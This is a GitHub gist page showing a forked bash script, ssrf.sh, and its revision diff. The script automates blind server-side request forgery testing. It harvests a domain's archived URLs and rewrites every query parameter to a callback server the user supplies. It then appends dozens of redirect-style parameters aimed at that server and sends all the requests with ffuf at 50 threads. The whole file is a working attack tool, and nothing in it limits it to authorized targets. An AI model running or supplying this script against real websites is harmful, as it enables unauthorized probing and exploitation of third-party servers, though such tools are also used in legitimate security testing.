Skip to content

Instantly share code, notes, and snippets.

@d1pakda5
Forked from hussein98d/ssrf.sh
Last active July 18, 2022 20:05
Show Gist options
  • Save d1pakda5/ca06eba334a8c91775d8047766ba40fe to your computer and use it in GitHub Desktop.
Save d1pakda5/ca06eba334a8c91775d8047766ba40fe to your computer and use it in GitHub Desktop.

Revisions

  1. d1pakda5 revised this gist Jul 18, 2022. 1 changed file with 1 addition and 1 deletion.
    2 changes: 1 addition & 1 deletion ssrf.sh
    Original file line number Diff line number Diff line change
    @@ -12,7 +12,7 @@ fi
    echo "Getting WaybackURLS"
    waybackurls $1 > $1-ssrf.txt
    echo "Getting URLS with GAU"
    gau $1 >> $1-ssrf.txt
    gau --subs $1 >> $1-ssrf.txt
    echo "Putting them all together.."
    cat $1-ssrf.txt | sort | uniq | grep "?" | qsreplace -a | qsreplace $2 > $1-ssrf2.txt
    sed -i "s|$|\&dest=$2\&redirect=$2\&uri=$2\&path=$2\&continue=$2\&url=$2\&window=$2\&next=$2\&data=$2\&reference=$2\&site=$2\&html=$2\&val=$2\&validate=$2\&domain=$2\&callback=$2\&return=$2\&page=$2\&feed=$2\&host=$2&\port=$2\&to=$2\&out=$2\&view=$2\&dir=$2\&show=$2\&navigation=$2\&open=$2|g" $1-ssrf2.txt
  2. @hussein98d hussein98d created this gist May 7, 2020.
    20 changes: 20 additions & 0 deletions ssrf.sh
    Original file line number Diff line number Diff line change
    @@ -0,0 +1,20 @@
    echo "Blind SSRF testing - append to parameters and add new parameters @hussein98d"
    echo "Usage: bash script.sh domain.com http://server-callbak"
    echo "This script uses https://github.com/ffuf/ffuf, https://github.com/lc/gau, https://github.com/tomnomnom/waybackurls"
    if [ -z "$1" ]; then
    echo >&2 "ERROR: Domain not set"
    exit 2
    fi
    if [ -z "$2" ]; then
    echo >&2 "ERROR: Sever link not set"
    exit 2
    fi
    echo "Getting WaybackURLS"
    waybackurls $1 > $1-ssrf.txt
    echo "Getting URLS with GAU"
    gau $1 >> $1-ssrf.txt
    echo "Putting them all together.."
    cat $1-ssrf.txt | sort | uniq | grep "?" | qsreplace -a | qsreplace $2 > $1-ssrf2.txt
    sed -i "s|$|\&dest=$2\&redirect=$2\&uri=$2\&path=$2\&continue=$2\&url=$2\&window=$2\&next=$2\&data=$2\&reference=$2\&site=$2\&html=$2\&val=$2\&validate=$2\&domain=$2\&callback=$2\&return=$2\&page=$2\&feed=$2\&host=$2&\port=$2\&to=$2\&out=$2\&view=$2\&dir=$2\&show=$2\&navigation=$2\&open=$2|g" $1-ssrf2.txt
    echo "Firing the requests - check your server for potential callbacks"
    ffuf -w $1-ssrf2.txt -u FUZZ -t 50